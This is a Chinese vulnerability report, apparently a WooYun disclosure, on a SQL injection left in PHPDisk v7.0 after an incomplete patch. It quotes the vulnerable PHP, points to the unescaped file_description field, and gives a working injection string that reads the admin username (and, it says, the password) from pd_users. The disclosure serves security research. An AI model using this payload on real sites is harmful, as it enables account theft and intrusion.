### 简要描述:
PHPDisk网盘系统 v7.0 20140529更新:
修正网盘云上传无法显示文件
部分主机无法使用系统验证码
端午放假,躁起来。
### 详细说明:
[WooYun: phpdisk V7 sql注入2](http://www.wooyun.org/bugs/wooyun-2014-056822)
在爆了这个洞之后 看看phpdisk怎么修复的。
```
$file = unserialize(base64_decode($data));
/*foreach($file as $k=>$v){
$file[$k] = $db->escape($file[$v]);
}*/
//没搞懂这里为什么要注释掉 如果不注释掉还不会出现这问题。
$file[file_id] = (int)$file[file_id];
$file[file_size] = (int)$file[file_size];
$file[file_extension] = $db->escape(trim($file[file_extension]));
$file[file_name] = $db->escape(trim($file[file_name]));
$num = @$db->result_first("select count(*) from {$tpf}files where yun_fid='{$file[file_id]}' and userid='$pd_uid'");
if($num && $file[file_id]){
$tmp_ext = $file[file_extension] ? '.'.$file[file_extension] : '';
$msg = $file[file_name].$tmp_ext;
}else{
$report_status =0;
$report_arr = explode(',',$settings['report_word']);
if(count($report_arr)){
foreach($report_arr as $value){
if (strpos($file['file_name'],$value) !== false){
$report_status = 2;
}
}
}
$ins = array(
'yun_fid' => $file[file_id],
'file_name' => $file[file_name],
'file_key' => $file_key,
'file_extension' => $file[file_extension],
'file_mime' => 'application/octet-stream',
'file_description' => $file[file_description],
'file_size' => $file['file_size'],
'file_time' => $timestamp,
'is_checked' => $is_checked,
'in_share' => $in_share,
'report_status' => $report_status,
'userid' => $pd_uid,
'folder_id' => $folder_id ? $folder_id : -1,
'ip' => $onlineip,
);
$sql = "insert into {$tpf}files set ".$db->sql_array($ins).";";
```
file_id 被intval
```
$file[file_extension] = $db->escape(trim($file[file_extension]));
$file[file_name] = $db->escape(trim($file[file_name]));
```
这两个都被escape处理 看看
```
function escape($s){
if(function_exists('mysql_real_escape_string')){
return htmlspecialchars(mysql_real_escape_string($s, $this->_l));
}
return htmlspecialchars(addslashes($s));
}
```
就是转义了。
$num = @$db->result_first("select count(*) from {$tpf}files where yun_fid='{$file[file_id]}' and userid='$pd_uid'");
这个由于file_id 被intval 所以无法利用了。 但是下面还有一个insert
```
$ins = array(
'yun_fid' => $file[file_id],//这个intval
'file_name' => $file[file_name],//这个escape
'file_key' => $file_key,//不可控
'file_extension' => $file[file_extension],//被escape
'file_mime' => 'application/octet-stream',
'file_description' => $file[file_description],// 关键是这个 这个并没有escape。 所以可以来注入了。
'file_size' => $file['file_size'],
'file_time' => $timestamp,
'is_checked' => $is_checked,
'in_share' => $in_share,
'report_status' => $report_status,
'userid' => $pd_uid,
'folder_id' => $folder_id ? $folder_id : -1,
'ip' => $onlineip,
);
$sql = "insert into {$tpf}files set ".$db->sql_array($ins).";";
```
### 漏洞证明:
首先对我们的语句序列化一次, 然后再base64一次。
[<img src="https://images.seebug.org/upload/201405/30191751d47883cbcad8c3adc025c12953dd0c46.jpg" alt="p1.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201405/30191751d47883cbcad8c3adc025c12953dd0c46.jpg)
[<img src="https://images.seebug.org/upload/201405/30191802d96a8db5d9255f166627097f969cae3f.jpg" alt="P2.JPG" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201405/30191802d96a8db5d9255f166627097f969cae3f.jpg)
可以看到file_extension 被转义 file_description 成功引入单引号。
再构造一下语句。
在这里执行语句为
insert into pd_files set `yun_fid`='0', `file_name`='', `file_key`='9n7LI0n4', `file_extension`='test', `file_mime`='application/octet-stream', `file_description`='a', `file_size`='0', `file_time`='1401453912', `is_checked`='1', `in_share`='0', `report_status`='0', `userid`='2', `folder_id`='-1', `ip`='127.0.0.1'
在这里 当去下载这个文件的时候 会透漏出file_name 和ip
但是file_name 在file_description之前 如果再次去覆盖这个
会提示ERROR 1110 (42000): Column 'file_description' specified twice 只能出现一次。
那我们就能来弄ip
在测试的时候发现ip 在显示的时候 如果让ip为root之类的
是显示不出来的 但是root.1.1.1 这样的就能显示得出来。
所以在这里用concat函数 来连接一个小数点就行了。
构造一下语句。 a',`ip`=concat((select username from pd_users limit 0,1),'.1.1.1'),`is_checked`=1,`in_share`=1#
然后序列化 再encode。
[<img src="https://images.seebug.org/upload/201405/302134270472c7a2db5ee94afeb6cec34f7961ac.jpg" alt="p3.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201405/302134270472c7a2db5ee94afeb6cec34f7961ac.jpg)
[<img src="https://images.seebug.org/upload/201405/3021353063848a6b9e997db80e763d766420b81b.jpg" alt="p4.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201405/3021353063848a6b9e997db80e763d766420b81b.jpg)
成功拿到管理的账户。 密码同理。
暂无评论